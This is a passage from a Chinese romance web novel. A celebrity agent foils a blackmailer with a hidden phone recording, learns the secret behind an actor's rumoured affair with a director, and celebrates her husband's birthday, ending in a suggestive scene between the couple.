不过沈灼没想到的是，这件事蒋芮先发声了。她直接发了个微博，图片是导演和四位主演的群聊截图。麦序经常晚上会叫演员晚上去她的房间看回放或者改剧本，但她不和演员私聊，总是在这个群里艾特他们。多数是关司予和蒋芮一起去，也有单独艾特某个演员的。 蒋芮把放图贴出来，是之前麦序叫他们的和最近艾特关司予的截图，她只发了个疑问的表情。 关司予直接转发。 “谁家做坏事还在群里通知的？” “懂了，导演和四个主演轮着，一个不够还两个三个一起[斜眼笑][斜眼笑]” “楼上那层是懂阴阳的。” 沈灼看着评论区，渐渐放宽心，反正目前，关司予是不会有什么问题了。 麦序没有开通微博，所以搜不到她，但是评论渐渐转变风向。 “女导演出轨怎么了？我们只不过犯了和男人一样的错误。” “这个剧组有毒啊，怎么导演都出轨……” 沈灼划到这条评论顿了下，难道这个幕后推手是针对剧组的吗？上次乔新越爆雷真的只是他的女友发现出轨，正巧就赶在这个时候揭发他吗？ 如果是这样，就真的需要查出来是谁，万一下次又无端造谣……她还是得给黎雅琦打个电话。 手机突然响起来，是一个本地的陌生号码。 沈灼接起来：“你好，我是沈灼。” “Hello沈灼，相信你已经看到关司予的热搜了吧？”对面是个女人。 沈灼皱眉，“有什么事情吗？” 女人嗤笑一声：“你真的觉得关司予和麦序什么都没有发生吗？” 沈灼猛地睁大眼睛，“你什么意思？” 对方轻笑道：“想知道的话，我们就见个面吧。” 第84章 对方约在一家咖啡厅，她提前十五分钟达到，点了一杯拿铁。人并不多，她坐下后视线一直留意着门口，直到一个高挑纤细戴着墨镜的女人推门进来，沈灼直觉就是她了。她将手机倒扣在桌上。 果然，女人环视一圈之后，看到沈灼便朝着她走过来。她在沈灼面前站定，摘下墨镜。 明明是一张陌生的脸，可沈灼第一眼见到她又感觉有些眼熟。 沈灼站起来，疑惑道：“你好，我是沈灼。我们以前见过吗？” “你好，我是陈珊。” 陈珊？ 反应了两秒，沈灼突然想起来她是谁，那不就是揭发乔新越出轨的女演员吗……怪不得会眼熟，但她怎么会和关司予还有麦序扯上关系？ 心里疑问重重，但沈灼还是维持着表面的云淡风轻，微笑点头，抬手示意她坐，“陈小姐，喝点什么吗？他们家新出的桂花栗子拿铁还不错。”她推荐道。 “好啊。” 双双落座，沈灼拿起手机在小程序上帮她下单，点好又倒扣放下手机。 “陈小姐，我想在电话里没说完的，现在可以告诉我了吧。” 陈珊勾唇，“说起来，我也是歪打正着，也可能是老天看我以前的日子过得太苦了，终于让我也转转运呢。”她从身后的手提包里拿出一个信封，从桌子上推过去，“沈大经纪，不妨先看看照片呢？” 沈灼狐疑着拿起信封，很薄 ，她抽出来，却发现几张照片拍摄的触目惊心。 关司予和麦序……在拥吻！ 拍摄时间是在晚上，从拍摄角度和画质来看，拍摄人和他们有一定的距离，很明显的偷拍。但是关司予的寸头造型，麦序的利落短发，无论是谁看了都不会认错他们俩个。 其实双方单身，在剧组里若是真的在一起了，倒也无妨，毕竟关司予走的不是偶像流量路线，然而下午刚刚辟谣他和麦序只是单纯的剧组同事关系，再爆出这种照片，网友的情绪一定会反扑。 沈灼捏着照片，挑眉盯着陈珊，平静地问：“你想要什么？” 陈珊歪了一下头，伸出一根食指，“一百万，不多吧？” 还真敢要……沈灼眯起眼睛，大脑在迅速捋思路。 陈珊爆出来乔新越出轨，让他失去《雾灯》导演的位置，接着又拿到关司予和麦序的接吻照……她一个名不经传的小演员，是怎么能够做到这些的？ 沈灼想来想去，断定她背后一定有人，但是她却猜不出来那人到底是想对付谁呢？ “一百万可以，但你需要回答我几个问题。”沈灼突然开口。 “可以啊。”服务员将陈珊的拿铁送来，她抿了一口，勾了下嘴角说，“味道真不错呢。” 沈灼问：“你当初真的是被乔新越灌醉遭遇侵犯了吗？” 陈珊嗤笑一声：“当然不是了，我又不傻。” 沈灼又问：“你是怎么知道关司予和麦序的关系的？”这事儿她都不知道，关司予竟然真的敢瞒着她。 “那得感谢关司予啊，我只能说，”陈珊突然笑了下，“他简直是个疯子。” 沈灼蹙起眉头：“什么意思？” “哦？”陈珊挑起一抹笑，“难道你不知道《雾灯》为什么会换导演吗？你觉得凭着我一个小演员的实力，可以让乔新越的事上热搜吗？” 果然是有人在幕后操控，沈灼又问：“那今天呢？” “我告诉你的已经够了，再问下去可就不止一百万了哦。”陈珊不想再聊下去了，“我还有事，就不和你一起和咖啡了，银行账户我会发给你，照片也送你了，我那里还有电子版的。” “等一下，”沈灼喊住要起身的陈珊，“谁说我要给你这一百万了？” 陈珊笑容一敛，换她来问：“你什么意思？” “我说的不够明白吗？” 陈珊站起身来，居高临下地望着她，威胁道：“好啊，如果你不给我，这些照片马上就会发到网上。” 沈灼突然笑了下：“如果这些照片发到网上，那你刚刚说的那些话我也会一分不差的发到网上。”她拿起倒扣着的手机，屏幕冲着陈珊。 屏幕上显示，录音已经进行了22分钟。 “你——”陈珊瞪起眼睛，嘴巴紧紧抿起来。 “陈珊，你挺聪明的，可惜不多。你诬陷乔新越性侵，在网上伪装受害者博得那么多网友同情，如果这份录音发上去，性质可就不一样了。你造谣诬陷，还涉及敲诈，你觉得网友们会放过你吗？” 沈灼站起来，她比陈珊高一点，微微垂眼：“听姐姐一句劝，把你手上的东西都删干净，我同样也不会揭发你，咱们各自相安无事。但如果网上有任何一点关司予和麦序的风言风语，这份录音会立即发送到各大营销号的手上。” 陈珊气急败坏地看着她，可是也无可奈何，她恶狠狠地剜了沈灼一眼，直接转身离开了。 沈灼一直目送她出门，直到完全看不见她的身影之后，她才呼出一口气，整个人卸了力一般瘫坐在椅子上。录音这一招还是她入行时，花姐教她的。 以前媒体或者对家为了获取丑闻或是敲诈勒索，就会使用非法手段获取艺人的隐私，比如在酒店房间内提前放置摄像头和录音设备。花姐告诉她时，她还不信，直到她有次跟组，真的在艺人房间床头的台灯下发现一个录音设备，她才信服。在那之后，任何和艺人相关的谈判，她都会习惯性地开手机录音备份。 沈灼现在有点乱，她闭上眼睛，手虚握成拳，突出的关节轻敲着额头，不断回想陈珊的话。 陈珊说，关司予简直是个疯子……到底是什么意思？为什么她应该知道《雾灯》换导演的原因？ 若真是仔细想想，从一开始关司予就对《雾灯》这个项目不一般。 沈灼从现在往前回溯。 “她还是司予推荐的呢，也是《雾灯》的编剧。” “乔新越确实不适合导演这个剧本，换掉他说不定会有更合适的导演出现，影片的完成度更高。” “这个项目会拍下去的，相信我。” “如果她退出，我也会继续拍下去的。” …… “我只是觉得乔导的风格可能和这片子的气质不太搭，一般原创编剧可能更会知道片子想要的效果。” 沈灼猛然睁开眼睛，从一开始，关司予就想要麦序来执导《雾灯》！他拍这部戏，是为了麦序，而不是步繁！ 她又震惊又茫然，简直不敢相信脑子里蹦出来的念头。 一旦排除了所有的不可能，剩下的不管多么难以置信，一定就是真相。 所以当初找到陈珊，要求爆料乔新越的人，是关司予……他竟然做了这样一场大的戏，甚至差点让这个项目毁了！ 怪不得陈珊说他是疯子…… 沈灼几乎是瞬间拿起手机，调出他的聊天框，想要问问他是不是他干的，手指悬空在语音通话上面，始终还是没按下去，因为她在心里默念了无数遍冷静。 如果是关司予找到陈珊要求爆料，说明今天的热搜事件不是他，那又会是谁呢？ 太阳穴突突跳得头疼，咖啡已经冷掉，天色也暗了下去，沈灼起身直接回家。 邵成章晚上有应酬，沈灼看着三菜一汤便喊陈姨一起吃晚饭，不过心里老惦记着事儿，沈灼吃得心不在焉。陈姨以为她不喜欢吃，问她是不是不合口味，她忙说不是，这才多搛了两口菜。 晚上《雾灯》官方微博发布了酒店监控视频，也还真巧了，在麦序房间的斜上方就有监控。从关司予进房间之前，麦序房间的门就是一直开着的，直到关司予离开之后好一会儿，麦序才将门关上。 风评直接转向：“笑死，某些人脸疼不疼啊门都没关就说人家doi” “抱走我家哥哥不约！明显就是正常对剧本，某些人思想能不能干净点？” “还好有监控啊，是不是该出来道歉@娱乐圈八爪鱼” 沈灼立即以公司官方发一条声明： “今日，网络上关于《雾灯》剧组演员@关司予的不实言论及恶意揣测，已严重损害艺人名誉及个人权益。 现就相关情况郑重声明如下：导演麦序女士与演员关司予先生仅为正常剧本讨论工作，网传所谓“不当关系”等言论均属捏造，与事实严重不符。关司予先生目前为单身状态，相关谣言毫无依据，系恶意诽谤。本司已对相关不实信息进行证据保全，并将通过法律途径追究造谣者及传播者的责任，绝不姑息。” 声明一发出，沈灼要求关司予立即转发。 稍后，剧组官方账号也发布声明，内容大差不差，一是说明麦序与关司予是为正常剧本讨论工作，二是说明麦序目前单身，说其出轨是恶意诽谤。 睡前，沈灼发现热搜排名已经往下掉了好几个排名，这事大概不会有反转了。她揉揉太阳穴，还是感觉头疼。 邵成章应酬回来，推开卧室门，看沈灼一脸倦容。 “累，烦。” “怎么了？”他走过去，想替她按揉太阳穴，又被她推开嫌弃道，“你先洗澡，一身的烟味儿。” 邵成章本身不抽烟，可架不住饭局上都是抽烟的人，在封闭包间里待上两个小时，沾染了一身的味道。被老婆嫌弃了，他转身拿睡衣就去沐浴洗香香。 沈灼躺下直直地盯着天花板，看似在出神实则在思考，她想知道到 底是谁买的热搜。 邵成章洗完澡，看她和灵魂出窍了一样，眼睛一眨不眨的，忍不住抬手捏住她鼻子，被她气哼哼地拍开手。 他续上刚刚没说完的话题：“头还疼不疼？我给你按按？” 沈灼双眼无神地摇摇头。 邵成章看她这样觉得好笑，在她身边侧躺下：“那和我说说为什么累，为什么烦？” 沈灼只说是狗仔拍到剧组里演员，造谣上热搜了，随即她叹口气：“真讨厌，人为什么要工作啊……”她找不到思路，就感觉烦。 “可以不工作，我养着你嘛。”邵成章伸出手指蜷起她一撮头发，绕着玩儿。 沈灼“啧”了声：“想养我的人可多了，你先领个爱的号码牌排队等着吧。” “那我要1号，我插队。” 沈灼被他逗笑：“你不要脸。” 邵成章并不反驳，一副理所当然的样儿：“我追老婆，要什么脸。” 知道她累，邵成章晚上抱着她睡。可这到了晚上，思绪就更发散了，沈灼忍不住又在脑子里琢磨。 关司予不是喜欢关昕吗，怎么突然又喜欢上麦序了啊？ 叹口气，男人啊，变心就是快！ 可是……关昕和麦序都是在常年在国外生活，又都比关司予大…… 沈灼觉得自己的想象有点太超过了，她可没法再接受第二个冲击了，但心里又怪异地想笃定自己的想法…… 邵成章知道沈灼没睡着，睁开眼睛问她怎么了。 沈灼让自己冷静了几秒，说：“老公，当初你是怎么查到我的资料的？” 她不能直接去问关司予或者当事人。 她得查两个人，也有可能……是一个人。 第85章 难得沈灼拜托他一件事，邵成章十分上心，第二天到公司后就把她的微信推给陈航。 陈航点头，看了眼手机，问他：“邵总，这位是？” 邵成章淡定道：“我太太。” 陈航表面冷静，应了声“是”，内心已然狂风暴雨。哈？竟然是老板娘？！老板娘为什么要加他的微信？是要来公司吗？是不是要做什么准备？老板为什么还要他全力配合…… 他想起电视剧里演的总裁夫人每天让助理实时汇报老板行程、电话追问不断……陈航忍不住心头一紧，他崩溃地想，每天的工作量已经十分饱和了，可千万别让他还要做这些事情。 不过话又说回来，邵总太太对邵总能有什么不放心的呢。他跟着他身边也有五年了，从来没见过他周围有过除了工作以外接触的女性。 陈航点击添加通讯录。 “嗡嗡——”沈灼收到好友添加消息。他昨晚告诉她，陈航有做背调的渠道，只不过他们平时不会随意查人，大部分都是打探业内消息或者内幕。 毕竟是邵成章的助理，沈灼并不好意思麻烦对方，添加后，她主动给他发消息。 沈灼：“你好陈总助，我是沈灼。不好意思麻烦你了，我想做个背调。” 收到消息的陈航十分惊讶，竟然这么客气的。 陈航：“好的太太，您将对方的名字和手机号告诉我就好。” 沈灼：“不用麻烦你了，你可以将对方的联系方式发我，谢谢。” 陈航一愣，回复了个好，然后将一个名片推过去。 沈灼再次发了个谢谢。成功添加对方后，沈灼让对方调查一下麦序和关家。 刚放下手机，振动又响起来。这次是从关宅打来的，关老爷子请她去家里坐坐。 沈灼应下，驱车过去。 关老爷子曾是某军区的司令员，战功赫赫，退休后依旧担任政协委员与名誉会长。儿子儿媳早年经商，却在年纪轻轻时意外去世，只留下关司予这个独孙。 沈灼猜到关老爷子叫她来是说什么，佣人帮她添上热茶，让她稍等，没一会儿关老爷子坐着轮椅被推了出来。 上次见面，还是在邵成恪与Nora的婚礼上，那时老爷子精神矍铄，如今不过几个月，整个人瘦了一大圈，神采也暗淡不少。 “老爷子。”沈灼起身相迎。 老爷子隔空点点手，示意她坐，“沈灼啊，今天我叫你来，是想和你说，司予要退出娱乐圈，以后他不再拍戏了。” 沈灼微微一愣，她原以为对方会因关司予的热搜来责怪自己，却没想到一开口便是让他退圈。她才刚和关司予签完合同。 沈灼笑了下，说：“老爷子，我知道您是担心司予和麦序导演的传闻，但那完全是子虚乌有，昨晚也已经澄清过了，您可以放心。” “哼。”关海听到“麦序”二字，冷哼一声，“他想拍戏，我也由着他拍了，两年多，该玩儿够了。他父母的公司，总要有人接手。”他顿了顿，眉目间透出严厉，“我们关家家风严明，怎么能容忍司予和不三不四的女人乱来。” 沈灼眉头一皱，这话她不爱听，麦序怎么就不三不四了？ “老爷子，您想让司予退出娱乐圈那就让他自己来和我说，我是不会主动和他解约的。”沈灼顿了下，忽然想试探道，“而且，麦序是个很专业的导演，也并非不三不四，她之前有和我简单说过她自己的事儿。” 关海微微挺直身体，眯起眼睛盯着她，“她和你说了什么？” 沈灼一只手紧紧攥住另一只手，用力摁在手心里的拇指让自己克制着的语气，“没什么，只是讲了些她在国外的生活，一个女孩子，孤苦伶仃地在国外这么多年，很辛苦，真是好奇她的家人怎么忍心的。” 关海的目光在她脸上停了两秒，随后移开。 沈灼继续说：“而且司予和麦序两个人都是单身，即便是两情相悦谈恋爱了，那也没有什么不可以的。” “他敢！我绝对不会让关——”关海的声音骤然一沉，紧接着像是收敛了情绪，冷声补了一句，“司予的结婚对象，我会亲自挑选。” “昨天的事，您大可不需要放在心上，是有人在背后有意为之。” 关海的目光猛地回到她脸上，眸光锐利，视线相对的瞬间又迅速移开，落向茶几上的茶盏。 沈灼几乎是不需要再判定什么，她想她已经得到想要的答案了。 她微不可查地吸口气，控制着表情，冲关海微微一笑，“老爷子，您的意思我知道了，我会转告司予，如果他想退出娱乐圈，我也不会强迫他留下的。等司予拍完这部戏，我给他放个长假，让他在家多陪陪您。您保重身体，我先告辞。” 关海没再说什么，沈灼开车驶出公馆，停在路边平复了好一会儿。 手机突然振动，背调已经出来了。对方告诉她，关家查不到关昕的存在，但是麦序却有从小学到出国前的记录。她生活在福利院，上大学时，受到好心人的资助出国留学。对方查出来流水，发现好心人曾在关家任职过，目前已经退休的一名佣人。 她现在可以百分百确定：关昕就是麦序，麦序就是关昕。 这样关司予所有的行为都解释的通了…… 昨天的热搜，矛头明显是指向麦序，要给她泼脏水，也许就是为了可以让关司予退圈有个理由。如此熟悉麦序的人，除了关海还会有谁呢？ “靠！”沈灼忍不住骂一声。 关家这爷孙俩，都是疯子，疯得一脉相承。 * 回到工作室，沈灼已经冷静下来。她忽然想起当时关司予找到她，想要当演员拍戏，她问他想要什么。 那时候的关司予说，我想站到一个旁人无法企及的高度，被看到。后来的关司予，片酬是百万还是千万，他不在意；票房是高是低，他不在乎；曝光量、粉丝量、是否拿奖，他完全不关心。他只想拍电影…… 现在一想，原来是因为麦序。 沈灼庆幸，还好陈珊并不知道关司予和麦序的关系，否则这简直是爆雷。 其实关海的话提醒他了，如果关司予想要和麦序在一起，那么退圈确实是最好的选择。不然他们这段关系就像悬在头上的达摩克利斯之剑，一旦被大众知晓，就会成为彻头彻尾的谈资，覆水难收。 沈灼又开始头疼了，她叹口气，给关司予发了一条消息。还有不到一个月的时间，她嘱咐他好好地在剧组拍完戏，千万不要做出格的事。她点到为止，照片的事她暂时不打算告诉他，一切等杀青之后再说。 趁着这段蒋芮和关司予都入组的时间，沈灼决定多挖掘一些新人。C大有表演系，以前如果沈灼不是很忙的话，她会去看学 弟学妹们的期末考试，顺便问问老师有没有可以培养的好苗子。 和老师寒暄了几句，得知考试日期后，她准备在日历上新建行程，刚点开软件，就看见自己做的标记了。 12.27，马上就是邵成章的生日了。 其实沈灼只在领证那天看到过他的生日，只一眼她就记住了。邵成章是1227，她是0228。 她有一套自己抽象的记忆方法，就比如她和邵成章的生日相加都是十二，2和2都一样，只不过前后各差1。 还好她记住了，要不然在一起之后还要问生日，倒有点尴尬。 但是送什么礼物呢？沈灼有点犯难，她和姜珺每年的生日礼物不一定都会送，而且她们会提前问对方想要什么，没想要的就先不送或者知道对方特别需要的东西就会当礼物送出去，可她总不能问邵成章缺什么啊。 看起来，他好像什么都不缺。 沈灼陷入沉思，最后好不容易憋出个想法来，给他准备个一岁一礼。但是她又感觉好像太土了点，不过又立即肯定自己，也是花了二十分钟想出来的，再加上她准备礼物的时间，实在是有心的很。 朕肯为他花心思，还不赶紧感恩戴德了。 一想邵成章都32岁了，她要准备32件礼物和32封信，她就叹气，怎么当时不找个22的呢。 * 陈航照例在周一汇报本周行程，27日是周四，有意合作的艺术家落地A市来Dreamora参观，按理晚上邵成章应该和对方吃饭，但陈航没有安排。 邵成章抬眼，挑眉看他。 陈航解释：“邵总，27日是您的生日，您不和太太一起过吗？” 邵成章一怔，自从他回到邵家就不愿意再过生日了，因为每次都只会让他更想赵韵。等离家上学之后，他就再也不过生日了。 但是沈灼知道他的生日吗，她从来都没有问过他。 “那就先不用安排了。”不知怎么，他心里竟然生出一点期待来。 晚上到家，沈灼还没回来呢，她最近回来的都很晚，邵成章给她打电话问她是不是还在忙。 “嗯，在忙呢。”此时的沈灼用肩膀夹着手机，她正在裁包装纸，不敢让他提前发现她在准备礼物，她把礼物都寄到了工作室，这些天每天都在准备。 “需要我去接你吗？” “不用不用，”沈灼立即拒绝，“我马上就回家了。” 沈灼看了一眼时间，都已经九点多了，她完成手上的这个，放到已经包装好的那一边，胜利即将在眼前。 回到家之后，邵成章坐在沙发上看书等着她。沈灼坐在他身边，直接躺下枕在他腿上。 邵成章将书放在一边，将她额前刘海拨开，“最近工作很多吗？” 沈灼点头，心想，当然多了，毕竟每天忙完工作还要加班加点准备礼物呢。 “对了，今天是平安夜，你吃苹果了吗？”沈灼问。 邵成章垂眼看她，手覆在她的小肚子上，笑得意味深长，“一会儿我再吃。” “你你你，脑子里就没有点别的事了吗？”沈灼抬手，虎口卡着他的下巴晃来晃去。 “看见你就没有。”邵成章笑了下，“明天圣诞节有安排吗？” “没有，但中国人不过洋节。” “那你平时过什么节日？”邵成章问。 “就法定节日啊。” “不和我过情人节吗，还有纪念日，七夕……” “有时间我们就过，忙就不过。” “还有吗？” “什么？”沈灼眨眨眼，装的一脸天真，“还有什么呀？” 邵成章嘴角收了收，微微垂眼错开她的视线，掩盖流露出来的那一点点的失落，“没有什么。” “哦，那我先去洗漱。”沈灼起身往卧室走，嘴角已经抑制不住地翘起来。 第86章 邵成章生日这天，沈灼特意早早回家准备，结果左等右等人不回来。她看了眼手机消息，邵成章也没和她说今晚有加班和应酬啊，一股无名火蹭地冒出来。 沈灼掐着腰在客厅走来走回，他不会真以为自己不知道他的生日在公司加班呢吧？就算自己真的不知道，他都不打算主动和自己说的？ ……沈灼烦躁地拿起手机来。 “嗡嗡——”连着两声，在饭局上只觉兴致缺缺的邵成章往桌上一撇，手机屏幕亮起，显示有消息。他拿起来解锁查看，却不是心里想的那人发来的，微微抬起的眉毛又耷拉下去了。 梁屿琛：“送你瓶好酒，有空记得来拿。”除了大哥，他是唯二知道邵成章生日的人。梁屿琛知道他不过生日，每年到这个日子，他也不说生日快乐，只会问他要不要喝个酒，若是邵成章忙，他就送他一瓶酒。 邵成章：“一会儿过去。” 梁屿琛：“？你没和你老婆在一起？”他还以为这会儿沈灼肯定给邵成章庆生呢。 邵成章随手给他拍了张桌面发过去，上面的骨碟瓷碗一看就是有应酬。 梁屿琛：“她不会不知道今天什么日子吧？” 邵成章气得哼一声，知道他今儿生日还故意往他身上扎刀子。 梁屿琛：“你看，还是哥们儿对你好。” 邵成章放下手机，懒得搭理他了。 沈灼没给邵成章打电话，反而给陈航打过去了。接到老板娘的电话的时候，陈航吓了一跳，下意识看向老板。 “太太。”陈航接通语音，他做在上菜口，正巧服务生上菜报了个菜名。 电话那头的沈灼也听见了，问：“你们邵总也在饭局吗？” “是的。” 沈灼说：“那你多看着点，不要让他喝太多酒，应酬散了早点回来。” “好的。” 挂了电话，陈航大脑迅速分析现在的情况，到底要不要上前和老板说老板娘打电话来关心他了呢？ 老板前日说不参加饭局，转头又要安排，可老板一晚上没说几句话，看着意兴索然的，陈航打算赌一赌。 他起身，走到邵成章身边弯腰附耳说：“邵总，刚刚太太打电话来，让您应酬散了早点回家。” 邵成章怔了一下，而后淡定地点头：“好，我知道了。”等陈航一走，他立即查看手机，眉毛微皱，怎么老婆没给他发消息呢？ 这场饭局本是为庆祝新签约设计师与Dreamora达成合作。公司的设计团队大多年轻，又是资深二次元，与新加入的设计师相谈甚欢，气氛热络。唯独邵成章兴致寥寥，对这些话题毫无兴趣也不甚了解。 既然老婆发话了，邵成章抬脚就要走，他和众人告辞，并让大家尽兴，今晚消费都挂在他账上。 * 明明盼着他回来，想要给他个惊喜，但真见到人，沈灼又不知道说什么了。她坐在沙发上看着邵成章走近，盯着他两秒又移开，然后又忍不住再看他。 直到走到她跟前，沈灼偏头，躲避他的视线。 邵成章坐在她身边：“怎么不给我打电话，嗯？” “那你也没和我说晚上不回来啊。”沈灼垂眸撇他一眼，语气很硬。 “你生气了吗？” “没有啊，我生什么气。” 明明就是生气了。邵成章用腿碰碰她的膝盖，“以后我都提前和你报备。” “是因为这事儿吗？” 邵成章抿着嘴巴，那还有什么事呢？ “今天是什么日子？”沈灼又问。 邵成章想了一圈，除了自己的生日再也想不出还能是什么日子，但是沈灼又怎么会知道呢？ 他有点犹豫：“是我……生日？” “你还知道是你生日啊？怎么，生日就不想和我过呗，宁可和外人在外面吃饭也不回来。”沈灼从挂了电话到邵成章进家门，都没超过半小时，显然这不是很 重要的饭局。 “没有不想和你过，我以为你不知道。”邵成章有点委屈。 “你和我说实话，如果我不知道，你是不是也不打算和我说，今天就这么过去了？” 邵成章沉默着，他确实是这么想的。 “如果你不想过生日的话，那就不过了。”沈灼起身，被他拉住手腕。 “没有。”邵成章仰头看着她，“我想和你一起过生日。” 听他这么说，沈灼也没有接受缓和的意思，反而挣开他的手，抱胸居高临下地看着他，“邵成章，我们是不是之前就说过，有什么事要及时沟通的？如果你想要什么，你要和我讲，而不是闷着什么都不讲。” “其实你不知道我的生日，我不会生气也不会介意的。” “真的吗？那你对今天一点点期待都没有吗？” 邵成章再次沉默。好吧，他必须承认，他有。不知道为什么，他不希望别人知道他的生日，给他庆生，可偏偏他希望沈灼知道。 “27号是我的生日，你能陪我一起过生日吗？”这种话他说不出口，也或许是他从十岁以后，从来没有向别人索求过这种情感需求。 他只会在心里有小小的期待，但又闭口不谈。 拧巴。 “以后想要什么，能不能和我讲？”沈灼问，“我又不会拒绝你。这个不好的习惯以后要改掉，知不知道？” “嗯，我错了，我会改的。”他的手环住她的腰，下巴抵在小腹上抬眼看她。 “嗯嗯嗯，就会嗯，怎么在床上就能和我要这要那的。”沈灼忍不住冷声道，嘴巴说的太快，等反应过来，自己都先无语了。 自己这是在说些什么呀！ 邵成章笑出声来，“我错了，我以后一定会说。” 沈灼哼一声，问他：“现在几点了？” 邵成章抬表：“刚过十点。” 沈灼拍开他的手，长腿一迈，站到沙发上面，“你背我。” 邵成章站起来，沈灼环住他的脖子，等他背稳了，她挺直腰板儿又往上蹭，双手盖住蒙住了他的眼睛。 “走了，过生日去。”沈灼说，“现在——听我指挥。” “嗯？”邵成章不知道她要干什么。 沈灼指挥着他去了影音室，先警告他不准睁眼睛，她从他身上下来，把手机投在投影上。 “好啦！”沈灼牵着他来到正中央，“睁眼。” 邵成章睁开眼睛，就看见投影屏幕上一行大字：“祝邵成章小朋友32岁生日快乐”。 他环视一圈，还看到了小桌上的蛋糕，他真的没想到沈灼会提前准备，直愣愣地杵在那好几秒，然后忍不住笑了，“但是老婆，这个……这对吗？”邵成章比划着“小朋友”三个字，和旁边32岁放在一起特别违和。 “怎么了，我看看谁敢说，我拉黑他们。”沈灼将蛋糕盒子拆开，插上蜡烛点燃，然后关掉了线灯，她让邵成章过来许愿。 邵成章坐在沙发上，双手合十，闭上眼睛，竟然还觉得这样有点别扭，他可真是太多年没有这样许过愿望了。 “祝你生日快——欸？你这么快就许完愿了？”她第一句歌词都还没唱完呢，邵成章已经睁开眼睛吹灭了蜡烛。 邵成章说：“嗯，我怕许三个太贪心，就许一个好了。我的愿望就是每年的这一天你都在我身边。” “干嘛说出来啊。” “我说了，我的愿望只有你能实现。” 沈灼忍不住翘起嘴角，“那我就大发慈悲地帮你实现好了。”接着她又让他闭上眼睛，她准备的礼物放在沙发后面，一整个大箱子，抱着还有些沉。 沈灼把线灯打开，让他睁眼。“这里面是32份礼物，一岁一礼，就当是再重新长大一次，这一次有我陪着你呢。” 邵成章难以置信地看着眼前的大箱子，他感觉自己都要无法思考了。 “不想知道都是什么吗？” “不，我只是……”邵成章嘴巴动了又动，还是没说出来。 “好了，快拆。”沈灼迫不及待想看到邵成章拆开礼物的表情。 邵成章坐在地板上，伸手拿一个，拆包装纸都小心翼翼地，怕撕坏了，第一个礼物拆出来是一条领带，里面还有一封信，他打开，“亲爱的邵成章，今天是你18岁的第一天……” “哎！你不要念出来啊，信你自己慢慢看。”当着她的面读出来，也太羞耻了。 邵成章忍不住笑，说“好”。 一件件礼物拆出来，沈灼都在信里写明了送他的原因。 22岁，是Dreamora成立那年，沈灼送的是一只钢笔，希望他以后可以签下越来越多的合同；25岁，是Dreamora开始有起色，沈灼送了他一只手表，希望他忙的时候也要注意时间，好好吃饭睡觉；27岁，Dreamora上市，沈灼送他一瓶红酒，可以好好庆祝…… 不过越往下拆，礼物就越奇怪，全是邵成章没见过的，沈灼十分诧异。 “我们小时候不都会玩这个吗？”她拿着一套神奇宝贝卡，“就是一块钱一包，然后和同学剪子包袱锤，把对方的血条输没了，这卡就归自己，这是小火龙，还有变身高一级就是喷火龙。” 邵成章摇头。 “这个是吹泡泡的啊，就这样……” “这个是水宝宝，泡在水里就会慢慢长大成一个**弹弹的小球，小时候可喜欢养了。” “……” 邵成章听着她说许多，还是一直摇头。 沈灼惊讶之余，想到他的过去，又感觉好像他不知道也正常，邵成章小时候就是个孤僻小孩儿啊。 拆到十岁的礼物，沈灼送了他一个星空灯。 “十岁的邵成章，如果想妈妈了，就可以随时打开它，这样房间里就有星星了，妈妈在天上一定能听到你说话。”沈灼直接打开调整好，天花板上应着繁星点点。 邵成章鼻头发酸，眼圈开始发红。 最后，32岁的生日礼物，是一个拍立得。 “你不是说我们都没怎么拍照片吗？以后有了这个，我们可以随时拍照了。”说着，沈灼直接举起来，给邵成章咔嚓了一张，没一会儿相纸就出来了，显像之后，沈灼直夸好看。 邵成章轻吸了下鼻子，“我要和你一起拍。” 沈灼坐到他身边，摆了好几个动作，不过拍出来几张后，沈灼不满意自己的表情，但邵成章一直盯着照片笑。 她起身把线灯关掉，黑暗环境中，星光灯更好看，她走回来直接在邵成章身边躺下，邵成章也跟着她躺下。两个人一起看星星。 沈灼问他：“喜欢吗？”很多时候，都是他在问她喜欢吗。 “喜欢。”邵成章转头盯着沈灼说，胸口涨满酸涩的温热。这一刻，他忽然觉得，自己过去暗淡无光的日子，都被她赋予了色彩。 “不过今年把阈值拉太高了，以后都不知道送你什么了。” “不要礼物，我只要你。” 沈灼无声勾起嘴角。 过了片刻，邵成章有些哽咽：“沈灼，谢谢你。” 沈灼侧头看向他，借着微弱的光亮，她看到他的眼角有一滴晶莹泪滴划下来。 她忽然翻身，吻在他的眼角回答他，“邵成章，生日快乐，也要天天快乐。” 沈灼亲的很轻，又在他的眼皮、额头还有鼻尖上轻轻一点，然后笑意盈盈地盯着他。 邵成章喉结滚动，一手护着她后脑勺，一手搂住她的腰，侧翻将她扣在身下，吻住她。 没多久，两个人变喘得凶了。沈灼说要先去洗澡。 抱了一路，亲了一路。 进了浴室，邵成章没开花洒，而是在浴缸里放水。趁着放水的间隙，他将自己和沈灼的衣服一层层褪下去，手穿过腰间从身后贴住她，让她对着镜子看着他们。 “老婆，你真的好美。”邵成章由衷地感叹，他太喜欢她的身体了。 哪里都漂亮，哪里都可爱，哪里都诱人。 赤身裸着，这样看着镜子，沈灼脸蹭地就烧起来了，感觉浴室里的浴霸都不必开了。 邵成章低头吻在她的肩膀，眼睛一抬，对上镜子里她的眼睛，“帮我洗手好不好？”说完他直接压着她弯腰，手伸在水龙头下，沈灼给他挤了一泵洗手液在手心里，眼睛只盯着他的手。 邵成章下巴搁在她的肩膀上，看着镜子里，悬空的尖尖随着动作微微摇晃。 好想捏，好想咬。 沈灼迅速感应到了变化，给他冲洗的手一顿，抬头，对上他的目光又不禁脸红。 邵成章逗她：“老婆还是好容易害羞。” “你闭嘴。”沈灼垂眼，冲洗干净后关上水龙头，本想 抽一张纸巾给他，谁知他直接贴在她的腹部，一边摩挲着一边擦掉手上的水珠。 手指还湿哒哒的，不过这没什么，一会儿也还会更/湿。 哗啦啦放水的声音里忽然夹杂起时轻时重的喘/息声。 沈灼的腰被单手箍紧了，身后的那具健壮的身体像一堵墙一样，牢牢不动。另一只手的中指和无名指去向了镜子里看不见的地方。 邵成章直到水放差不多了才停下，沈灼重重地吸一口气，她的腿已经有点软了，腿/内侧还有些发红的皮肤上还有些黏腻的水/迹。 “老婆，你才是水宝宝。”邵成章没头没尾突然来了一句。 沈灼这会儿大脑有点宕机，没反应过来。 “你看。”邵成章笑了下，在她眼前挥挥手，“你是我的水宝宝。” 知道那上面是什么，沈灼羞愤地嗔他一眼。 邵成章低低笑着，他撑着她，将她转过来抱起跨进浴缸里。 换成面对面的姿势，沈灼一把抓住他。刚刚邵成章怎么对她的，她就怎么还给邵成章。 